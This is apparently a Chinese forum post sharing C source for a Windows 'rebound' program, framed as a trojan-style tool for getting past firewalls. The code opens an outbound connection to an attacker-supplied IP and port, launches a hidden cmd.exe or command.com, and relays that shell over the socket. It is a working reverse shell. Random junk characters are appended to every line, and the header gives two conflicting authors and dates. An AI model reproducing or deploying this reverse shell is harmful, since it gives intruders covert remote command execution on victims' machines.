这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 {]BPSj{B
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/* ============================== .0+=#G>
Rebound port in Windows NT b&BkT%aA(G
By wind,2006/7 k<(G)7'gm
===============================*/ JcV'O)&
#include g?&_5)&
#include [CxnGeKK
Gmi ^2?Z(
#pragma comment(lib,"wsock32.lib") @-ps[b`z
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void OutputShell(); G%5bQ|O
SOCKET sClient; Qf|x]x*5
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Sp/t[\,'
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void main(int argc,char **argv) mWEaUi)Zz
{ 11Sflj
WSADATA stWsaData; E0HXB1"
int nRet; pV:;!+
SOCKADDR_IN stSaiClient,stSaiServer; ^#i3JMq
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if(argc != 3) u*}[fQ`aF
{ 0APh=Alq
printf("Useage:\n\rRebound DestIP DestPort\n"); $mgamWNE8w
return; (B+CI%=
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} w8veh[%3n
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WSAStartup(MAKEWORD(2,2),&stWsaData); nUb0R~wr$G
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); a9LK}xc={
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stSaiClient.sin_family = AF_INET; /Uxp5 b h
stSaiClient.sin_port = htons(0); ~V34j:
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); vNWCv
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) oyw*Z_ 9~
{ iEx
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printf("Bind Socket Failed!\n"); 4C:-1gu7
return; 9f=L'{
} |; [XZ ZZ
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stSaiServer.sin_family = AF_INET; [KcF0%a
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); WR|n> i@m
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ,]Gi942
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) WNnB
s
{ n3z]&J5fr
printf("Connect Error!"); wn1` 9
return; 2|a5xTzH
} rd_!'pG
OutputShell(); JX)%iJq#
} {)`tN&\
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void OutputShell() %VH{bpS|i:
{ #jqcUno
char szBuff[1024]; cM?i _m
SECURITY_ATTRIBUTES stSecurityAttributes; *`]#ntz9
OSVERSIONINFO stOsversionInfo; 0PP5qeqN2n
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; /gH[|d
STARTUPINFO stStartupInfo; "7z1V{ ;Y
char *szShell; [,a2A
PROCESS_INFORMATION stProcessInformation; e+~Q58oD
unsigned long lBytesRead; w}rsboU
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); -\|S=<
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ^yFtL(x,
stSecurityAttributes.lpSecurityDescriptor = 0; |& Pa`=sp
stSecurityAttributes.bInheritHandle = TRUE; o4t6NDa
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 8!XK[zL
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); BG9.h!
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ^q}cy1"j"
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o6ag{Yp
stStartupInfo.wShowWindow = SW_HIDE; FzzV%
stStartupInfo.hStdInput = hReadPipe; f&2f8@
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; !(i}FFn{:
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GetVersionEx(&stOsversionInfo); &UxI62[k
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switch(stOsversionInfo.dwPlatformId) 7^FJ+gN8b
{ o>jM4sk$
case 1: 0[In5I I
szShell = "command.com"; G?dxLRy.do
break; ZW@%>_JR]
default: Iw[7;B5v
szShell = "cmd.exe"; ?B['8ju
break; AI,Jy%62/
} J.Fy0W@+k4
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); UAEu.AT
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send(sClient,szMsg,77,0); vAcxca">S
while(1) zEy,aa:M
{ rWULv
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); QzilivJf
if(lBytesRead) f >$V:e([
{ ;hb_jW-0W
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); eufGU)M
send(sClient,szBuff,lBytesRead,0); h/pm$9A
} d:8c}t2X
else )%wNVW 0C
{ T)o>U&KNP
lBytesRead=recv(sClient,szBuff,1024,0); u3vM !
if(lBytesRead<=0) break; \'CA:9V}
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Bdr'd? u<A
} <?FkwW\?
} i_f\dkol
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return; v%@)I_6[P
}